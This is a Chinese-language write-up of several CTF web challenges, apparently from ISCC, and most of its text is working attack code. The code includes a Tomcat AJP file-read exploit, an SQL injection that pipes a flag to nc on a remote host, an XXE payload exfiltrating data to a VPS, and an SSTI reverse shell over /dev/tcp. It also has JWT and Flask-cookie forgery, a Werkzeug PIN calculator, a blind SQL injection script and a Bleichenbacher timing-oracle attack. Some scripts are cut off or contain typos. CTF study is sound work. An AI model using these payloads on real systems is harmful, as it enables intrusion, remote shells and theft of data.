本人新手一个,解题过程会有许多的不足,请各位师傅谅解
还没想好名字的塔防游戏
题目是一个游戏,直接查看源代码发现
刚开始我以为将提示翻译过来就行了,正好18个字,结果提交失败。最后还是发现都有大写的,在游戏开头也有
然后数一下发现是18个,提交成功。
代码审计
1. 打开附件
一个简单的 Flask 应用,用于处理 HTTP 请求,执行诸如扫描文件和生成签名等任务,/geneSign:根据提供的参数生成签名。/De1ta:处理主要的挑战,创建一个Task实例并执行操作。/:提供名为 “code.txt” 的 HTML 文件。
访问geneSign(key+param+action),action=scan,获取到一个签名Hash
访问de1ta,加上cookies和提交的参数,去执行Task类的Exec方法。
Exec方法根据参数生成签名Hash,checkSign验证成功之后读取文件
2. 访问geneSign?param=flag.txtread 获取Hash
3. 修改get,action,cookie参数
得到flag
原神启动
按照正常的方法查看源代码,最后会发现会得到一个错误的flag
可以通过找寻发现漏洞cve-2020-1938使用脚本来解答
#!/usr/bin/env python
#CNVD-2020-10487 Tomcat-Ajp lfi
import struct
# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
if s is None:
return struct.pack(">h", -1)
l = len(s)
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
size = struct.calcsize(fmt)
buf = stream.read(size)
return struct.unpack(fmt, buf)
def unpack_string(stream):
size, = unpack(stream, ">h")
if size == -1: # null string
return None
res, = unpack(stream, "%ds" % size)
stream.read(1) # \0
return res
class NotFoundException(Exception):
pass
class AjpBodyRequest(object):
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
MAX_REQUEST_LENGTH = 8186
def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream = data_stream
self.data_len = data_len
self.data_direction = data_direction
def serialize(self):
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data) == 0:
return struct.pack(">bbH", 0x12, 0x34, 0x00)
else:
res = struct.pack(">H", len(data))
res += data
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbH", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbH", 0x41, 0x42, len(res))
return header + res
def send_and_receive(self, socket, stream):
while True:
data = self.serialize()
socket.send(data)
r = AjpResponse.receive(stream)
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
r = AjpResponse.receive(stream)
if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
break
class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPAT
这题我出不了了
参考原题2017 HITCON SQL So Hard (over-rainbow.cn)
客户端在获取表字段的时候因为转译不完全导致原本应该拼接在代码中的字段名被构造成了恶意代码传入了Function()这个类,这个类类似于PHP中的create_function,因为函数体可控 ,也就造成了命令执行。
单双引号都不能正常使用,我们可以使用es6中的反引号
Function环境下没有require函数, 不能获得child_process模块, 但是可以通过process.mainModule.constructor._load来代替require
一个fieldName只能有64位长度, 所以通过多个fieldName拼接来完成利用
所以写一个脚本得到flag
from random import randint
import requests
# payload = "union"
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/readflag|nc 10.188.2.20 9999`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*1024*1024*16)
username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {
'username': username+payload,
'password': 'AAAAAA'
}
print('ok')
r = requests.post('http://10.188.2.20:12345/reg', data=data)
print(r.content.decode('utf-8'))
一道普通的XSS题目
打开链接,发现啥也没有,根据题目给的
尝试写js脚本,来使用XXE和XSS攻击
xmls = `<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY xxe SYSTEM "http://101.200.138.180:30280/flag" >]>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:template match="/asdf">
<HTML>
<HEAD>
<TITLE></TITLE>
</HEAD>
<BODY>
<img>
<xsl:attribute name="src">
yourvps&xxe;
</xsl:attribute>
</img>
</BODY>
</HTML>
</xsl:template>
</xsl:stylesheet>`
xml = `<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="data:text/plain;base64,${btoa(xmls)}"?>
<asdf></asdf>`
xss = encodeURIComponent(xml)
console.log(xss)
得到一个URL地址,且带有XML注入payload:
http://101.200.138.180:30280/adminbot?url=http://101.200.138.180:30280/?payload=%3C%3Fxml%20version%3D%221.0%22%3F%3E%0A%3C%3Fxml-stylesheet%20type%3D%22text%2Fxsl%22%20href%3D%22data%3Atext%2Fplain%3Bbase64%2CPD94bWwgdmVyc2lvbj0iMS4wIj8%2BCjwhRE9DVFlQRSBhIFsKICAgPCFFTlRJVFkgeHhlIFNZU1RFTSAgImh0dHA6Ly8xMDEuMjAwLjEzOC4xODA6MzAyODAvZmxhZyIgPl0%2BCjx4c2w6c3R5bGVzaGVldCB4bWxuczp4c2w9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvWFNML1RyYW5zZm9ybSIgdmVyc2lvbj0iMS4wIj4KICA8eHNsOnRlbXBsYXRlIG1hdGNoPSIvYXNkZiI%2BCiAgICA8SFRNTD4KICAgICAgPEhFQUQ%2BCiAgICAgICAgPFRJVExFPjwvVElUTEU%2BCiAgICAgIDwvSEVBRD4KICAgICAgPEJPRFk%2BCiAgICAgICAgPGltZz4KICAgICAgICAgIDx4c2w6YXR0cmlidXRlIG5hbWU9InNyYyI%2BCiAgICAgICAgICAgIGh0dHA6Ly8xMDUuMjAuMjguMTExOjg4ODgvJnh4ZTsKICAgICAgICAgIDwveHNsOmF0dHJpYnV0ZT4KICAgICAgICA8L2ltZz4KICAgICAgPC9CT0RZPgogICAgPC9IVE1MPgogIDwveHNsOnRlbXBsYXRlPgo8L3hzbDpzdHlsZXNoZWV0Pg%3D%3D%22%3F%3E%0A%3Casdf%3E%3C%2Fasdf%3E
对其进行vps监听
nc -lvp [yourvpsport]
nc -lvnp 8888
浏览器访问得到flag
http://101.200.138.180:30280/adminbot?url=http://101.200.138.180:30280/?payload=xxxxxxxxxxxxxx
回来吧永远滴神
打开网站发现需要查阅资料
填写完成后,进入隐藏关卡
先随意尝试提交一下,什么也没有发现
查看网页源代码后发现了“=”
尝试base解码并将其美化
判断是SSTI,并且存在waf:
SSTI一把梭反弹shell:
import functools
import time
import requests
from fenjing import exec_cmd_payload
url = "http://101.200.138.180:16356/evlelLL/646979696775616e"
# session=eyJhbnN3ZXJzX2NvcnJlY3QiOnRydWV9.ZkQrdg.TTUE-T5iRTAmIfSy5szAO9ZMgkA
cookies = {
'session': 'eyJhbnN3ZXJzX2NvcnJlY3QiOnRydWV9.ZkQrdg.TTUET5iRTAmIfSy5szAO9ZMgkA'
}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
}
@functools.lru_cache(1000)
def waf(payload: str): # 如果字符串s可以通过waf则返回True, 否则返回False
time.sleep(0.02) # 防止请求发送过多
resp = requests.post(url, headers=headers, cookies=cookies, timeout=10,
data={"iIsGod": payload})
# print(resp.text)
return "大胆" not in resp.text
if __name__ == "__main__":
shell_payload, will_print = exec_cmd_payload(
waf, 'bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2336 0>&1"'
)
if not will_print:
print("这个payload不会产生回显!")
print(f"{shell_payload=}")
跑出来payload并发送:
得到flag[2]和[1]源码dump下来,找到flag3的加密逻辑 对其进行解密
rom Crypto.Util.Padding import pad, unpad
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
from Crypto.Random import get_random_bytes
from enum import Enum
class Mode(Enum):
ECB = 0x01
CBC = 0x02
CFB = 0x03
class Cipher:
def __init__(self, key, iv=None):
self.BLOCK_SIZE = 64
self.KEY = [
b2l(key[i : i + self.BLOCK_SIZE // 16])
for i in range(0, len(key), self.BLOCK_SIZE // 16)
]
self.DELTA = 0x9E3779B9
self.IV = iv
self.ROUNDS = 64
if self.IV:
self.mode = Mode.CBC if iv else Mode.ECB
if len(self.IV) * 8 != self.BLOCK_SIZE:
self.mode = Mode.CFB
print(f"Mode: {self.mode}")
def _xor(self, a, b):
return b"".join(bytes([_a ^ _b]) for _a, _b in zip(a, b))
def decrypt_block(self, ct):
m0 = b2l(ct[:4])
m1 = b2l(ct[4:])
msk = (1 << (self.BLOCK_SIZE // 2)) - 1
s = self.DELTA * self.ROUNDS
for i in range(self.ROUNDS):
m1 -= (
((m0 << 4) + self.KEY[(self.ROUNDS - 1 - i + 2) %
len(self.KEY)])
^ (m0 + s)
^ ((m0 >> 5) + self.KEY[(self.ROUNDS - 1 - i + 3) %
len(self.KEY)])
)
m1 &= msk
m0 -= (
((m1 << 4) + self.KEY[(self.ROUNDS - 1 - i) %
len(self.KEY)])
^ (m1 + s)
^ ((m1 >> 5) + self.KEY[(self.ROUNDS - 1 - i + 1) %
len(self.KEY)])
)
m0 &= msk
s -= self.DELTA
return l2b((m0 << (self.BLOCK_SIZE // 2)) | m1)
def decrypt(self, ct):
blocks = [
ct[i : i + self.BLOCK_SIZE // 8]
for i in range(0, len(ct), self.BLOCK_SIZE // 8)
]
msg = b""
if self.mode == Mode.ECB:
for ct_block in blocks:
msg += self.decrypt_block(ct_block)
elif self.mode == Mode.CBC:
X = self.IV
for ct_block in blocks:
decrypted_block = self._xor(X, self.decrypt_block(ct_block))
msg += decrypted_block
X = ct_block
elif self.mode == Mode.CFB:
X = self.IV
for ct_block in blocks:
output = self.encrypt_block(X)
decrypted_block = self._xor(output, ct_block)
msg += decrypted_block
X = ct_block
return unpad(msg, self.BLOCK_SIZE // 8)
if __name__ == "__main__":
KEY = bytes.fromhex(
"3362623866656338306539313238353733373566366338383563666264386133"
)
IV = bytes.fromhex("64343537373337663034346462393931")
cipher = Cipher(KEY, IV)
ct = bytes.fromhex("1cb8db8cabe8edbbddb211f3da4869cdee3bcfb850bce808")
print(f"FLAG: {cipher.decrypt(ct)}")
# FLAG = b'xxxxxxxxxxxxxxxxxxx'
# ct = cipher.encrypt(FLAG)
# # KEY: 3362623866656338306539313238353733373566366338383563666264386133
# print(f'KEY: {{KEY.hex()}}')
# # IV: 64343537373337663034346462393931
# print(f'IV: {{IV.hex()}}')
# # Ciphertext: 1cb8db8cabe8edbbddb211f3da4869cdee3bcfb850bce808
# print(f'Ciphertext: {{ct.hex()}}')
得到flag3,将其连在一起得到进行解码得到flag
Flask中的pin值计算
第一步照常查看网页源代码
对其进行base64解码
访问/getusername
获得username用户名
得到App.py绝对路径/crawler
使用脚本
import requests
url1='http://101.200.138.180:10006/crawler?answer='
url2='http://101.200.138.180:10006/get_expression'
s = requests.Session()
res=s.get(url2)
math=res.text.split('"')
math1=math[3].replace("\\u00d7",'*').replace('\\u00f7','/')
result1 = eval(math1)
result1=str(result1)
result2=s.get(url1+result1)
print(result2.text)
访问/woddenfish
看源码找到功德加密部分,确定是JWT认证
获取uuidnode_mac
抓包更换jwt,给出提示/machine id
点vip拿到新的jwt
role改为supervip,脚本构造
代码如下:
from json import loads, dumps
from jwcrypto.common import base64url_encode, base64url_decode
def topic(topic):
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
print(parsed_payload)
parsed_payload["role"] = "vip"
print(dumps(parsed_payload, separators=(',', ':')))
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
print(fake_payload)
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} '
print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTUxNjY2NjYsImlhdCI6MTcxNTE2MzA2NiwianRpIjoiYkZkaE1vdnVQa0c2TGQxQlJQVmRNZyIsIm5iZiI6MTcxNTE2MzA2Niwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.gDSJaemVWbNa2PwN7rHgRth1PkUyVaJ5pvj8dgEJ_lF1I7MLjf70sWHQePhDi3w_iqzBt5LhVlYkSgqT6vBrh9js6SJYPxTFn1lubTTGnqAnw6sViOoPRj9ASEowXCJ7zPH89XszdpGdfoF3iH8se8xzeXUf7qCWrkUsmzuJUtVruNWrFYRqS3rV9-dVnVhm5k7zIOEa4f3tZf0qr7d_W7agCHqJGAmiC2A8pkgRorN_kc4T-NJS_Q_iqBRdZMkX9byskzp2M0cfJdkglzKBU6iFgyU8G4-ji64u1eA2bP-bkTO_3RD5HNOmr-tlgCII0V8apGMeuUn9EnDKcc28WQ'))
显示welcome_to_iscc_club,应该是supervip的key
python脚本如下:
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return d
.bp修改svipcookie得到acff8a1c-6825-4b9b-b8e1-8983ce1a8b94,是machine-id
脚本如下:
import hashlib
from itertools import chain
probably_public_bits = [
'pincalculate',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.11/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'1941888917899902',# str(uuid.getnode()), /sys/class/net/ens33/address
'acff8a1c-6825-4b9b-b8e1-8983ce1a8b94'# get_machine_id(), /etc/machine-id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
运行使用pyload: http://101.200.138.180:10006/console?pin=947-885-653
得到flag
与时俱进
看题目给的信息发现涉及的有CVE,根据提示二得到CVE-2022-28346和CVE-2023-50782
查看网页源代码
发现了注释的nick_name字段,提示aggregate
下来进行SQL注入测试,发现该字段会被页面所处理,会影响页面的结果,但是没有回显
打时间盲注并结合题意尝试将django默认使用sqlite作为数据库来进行,验证发现sqlite数据库
使用时间盲注脚本:
import requests
import string
import time
def randomblob(param):
pass
def time_inject(condition):
url = "http://101.200.138.180:8003/inquiry/"
headers = {}
cookies = {
"csrftoken": "VIRTUAL_CSRF_TOKEN",
}
data = {
"csrfmiddlewaretoken": "VIRTUAL_CSRF_TOKEN",
"sel_value": "name",
"nick_name": f'name",(case when({condition}) then {randomblob(1000000000)} else 0 end),"1',
}
while True:
try:
start = time.time()
response = requests.post(url, headers=headers, cookies=cookies, data=data)
end = time.time()
time_cost = end - start
print("time cost: ", time_cost)
if time_cost > 30:
return True
else:
return False
except:
continue
def get_length(var_name):
for i in range(1, 1000):
if time_inject(f"length({var_name})={i}"):
return i
def get_char(var_name, index):
alphabet = string.ascii_letters + string.digits + "{}/+="
for c in alphabet:
if time_inject(f"substr({var_name},{index},1)='{c}'"):
return c
def get_value(var_name, length):
global result # 使用全局变量result来存储结果
result = ""
for i in range(1, length + 1):
char = get_char(var_name, i)
if char is None:
result += f"{{{i}}}"
else:
result += char
return result
def get_tables_name():
payload = "(select group_concat(tbl_name) from sqlite_master where type='table' and tbl_name NOT like 'sqlite_%')"
length = get_length(payload)
return get_value(payload, length)
def get_schema(table_name):
payload = f"(select group_concat(sql) from sqlite_master where type='table' and name='{table_name}')"
length = get_length(payload)
return get_value(payload, length)
def get_data(table_name, column_name):
payload = f"(select group_concat({column_name}) from {table_name})"
length = get_length(payload)
return get_value(payload, length)
def get_flag():
result = ""
for i in range(1, 14):
payload = "(select group_concat(flag) from flag)"
result += get_char(payload,i)
time.sleep(60)
return result
print(get_flag())
得到url{i722vrr0},访问该地址/i722vrr0,下载到了一 份源码:
根目录下发现有公钥、密文文件、查看看见cryptography==3.3.0
发现finally/views 和 finally/functions 存在加密解密逻辑,但是缺少私钥,无法进行解密,思索好久觉得私钥在服务器上
根据CVE-2023-50782漏洞纰漏的信息显示的是Bleichenbacher timing oracle attack。查阅资料
使用这个可用的脚本,依据本题对脚本进行修改,得到flag
import cryptography.hazmat.primitives.asymmetric.rsa as rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import serialization
import binascii
import math
import textwrap
from Crypto.Util.number import *
import requests
def load_private_key_from_pem(file_path):
with open(file_path, 'rb') as f:
private_key = serialization.load_pem_private_key(
f.read(), password=None,
backend=default_backend()
)
return private_key
def load_public_key_from_pem(file_path):
with open(file_path, 'rb') as f:
public_key = serialization.load_pem_public_key(
f.read(),
backend=default_backend()
)
return public_key
def time_attack(ciphertext, threshold=0.4):
url = "http://101.200.138.180:8003/decode/"
headers = {}
cookies = {
"csrftoken": "VIRTUAL_CSRF_TOKEN",
}
data = {
"csrfmiddlewaretoken": "VIRTUAL_CSRF_TOKEN",
"ciphertext": ciphertext
}
retries = 3
for i in range(retries):
try:
response = requests.post(
url, headers=headers,
cookies=cookies, data=data, timeout=threshold
)
if response.status_code != 200:
print("status_code:", response.status_code)
continue
print("response:", response.text)
return True
except requests.exceptions.Timeout:
return False
def local_setup():
'generates a key pair for local testing'
print('Using local loop back oracle for testing')
pub_key = load_public_key_from_pem("public_key3.pem")
pn = pub_key.public_numbers()
# print(' keysize:{}'.format(priv_key.key_size))
print(' e: {}'.format(pn.e))
print('n: {}'.format(pn.n))
# print(' p:{}'.format(priv_key.private_numbers().p))
# print(' q:{}'.format(priv_key.private_numbers().q))
# print(' d:{}'.format(priv_key.private_numbers().d))
ciphertext = long_to_bytes(int(open("message_bak3.log", "r").read().strip()))
print(' c:{}'.format(binascii.hexlify(ciphertext)))
print()
def oracle(ct):
c = int.from_bytes(ct, 'big')
return time_attack(c)
return ciphertext, oracle, pn.e, pn.n
# these two defs avoid rounding issues with floating point during
# division (especially with large numbers)
def ceildiv(a, b):
return -(-a // b)
def floordiv(a, b):
return (a // b)
oracle_ctr = 0
def main():
print('Bleichenbacher RSA padding algorithm')
print(' for more info see 1998 paper.')
print()
# setup parameters, change local_setup with alternative
# implementation, such as an oracle that uses a real server
ct, oracle, e, n = local_setup()
# byte length of n
k = int(ceildiv(math.log(n, 2), 8))
# convert ciphertext from bytes into integer
c = int.from_bytes(ct, 'big')
# lift oracle defition to take integers
def oracle_int(x):
global oracle_ctr
oracle_ctr = oracle_ctr + 1
if oracle_ctr % 100000 == 0:
print("[{}K tries] ".format(oracle_ctr // 1000), end='',flush=True)
return oracle(x.to_bytes(k, 'big'))
# define B as size of ciphertext space
# as first two bytes are 00 02, use 2^(keysize - 16)
B = pow(2, 8 * (k - 2))
# precompute constants
_2B = 2 * B
_3B = 3 * B
def multiply(x, y):
return (x * pow(y, e, n)) % n
# should be identity as c is valid cipher text
c0 = multiply(c, 1)
assert c0 == c
i = 1
M = [(_2B, _3B - 1)]
s = 1
# ensure everything is working as expected
if oracle_int(c0):
print('Oracle ok, implicit step 1 passed')
else:
print('Oracle fail sanity check')
exit(1)
while True:
if i == 1:
print('start case 2.a: ', end='', flush=True)
ss = ceildiv(n, _3B)
while not oracle_int(multiply(c0, ss)):
ss = ss + 1
print('done. found s1 in {} iterations: {}'.format(ss - ceildiv(n, _3B), ss))
else:
print('start case 2.c: ', end='', flush=True)
assert len(M) == 1
a, b = M[0]
r = ceildiv(2 * (b * s - _2B), n)
ctr = 0
while True:
# note: the floor function below needed +1 added
# to it, this is not clear from the paper (see
# equation 2 in paper where \lt is used instead of
# \lte).
for ss in range(ceildiv(_2B + r * n,b),floordiv(_3B + r * n, a) + 1):
ctr = ctr + 1
if oracle_int(multiply(c0, ss)):
break
else:
r = r + 1
continue
break
print('done. found s{} in {} iterations: {}'.format(i,ctr, ss))
# step 3, narrowing solutions
MM = []
for a, b in M:
for r in range(ceildiv(a * ss - _3B + 1, n),floordiv(b * ss - _2B, n) + 1):
m = (
max(a, ceildiv(_2B + r * n, ss)),min(b, floordiv(_3B - 1 + r * n, ss))
)
if m not in MM:
MM.append(m)
print('found interval [{},{}]'.format(m[0], m[1]))
# step 4, compute solutions
M = MM
s = ss
i = i + 1
if len(M) == 1 and M[0][0] == M[0][1]:
print()
print('Completed!')
print('used the oracle {} times'.format(oracle_ctr))
# note, no need to find multiplicative inverse of s0 in n
# as s0 = 1, so M[0][0] is directly the message.
message = M[0][0].to_bytes(k, 'big')
print('raw decryption: {}'.format(binascii.hexlify(message).decode('utf-8')))
if message[0] != 0 or message[1] != 2:
return
message = message[message.index(b'\x00', 1) + 1:]
print(message)
print('unpadded message hex: {}'.format(
binascii.hexlify(message).decode('utf-8')))
try:
print('unpadded message ascii: {}'.format(
message.decode('utf-8')))
except UnicodeError:
pass
return
if _name_ == "_main_":
main
掉进阿帕奇的工资
这个题是非预期解,后来被修复后就使用不了了
随便注册账号,尝试登录,没有发现什么有用的,经过查看发现必须要是manager
在注册的时候,发现职称不能填,使用f12进行查看
发现job被隐藏了,我们可以通过抓包手动添加job=admin
再尝试登录,发现还是不行
这时我们点击信息重置 然后选择密保方式重置
然后登录成功
/gongzi_iscc.php
输入ls和11 发现返回了]B
推测可能是有xor
输入]B 11
发现执行命令
我们通过看dockerfile
secret.host:
image: nginx
container_name: secret.host
volumes:
- ./:/etc/nginx/conf.d/
猜测flag在 http://secret.host/flag
通过php读文件 (payload需要xor)
php -r "echo file_get_contents('http://secret.host/flag');"
读到flag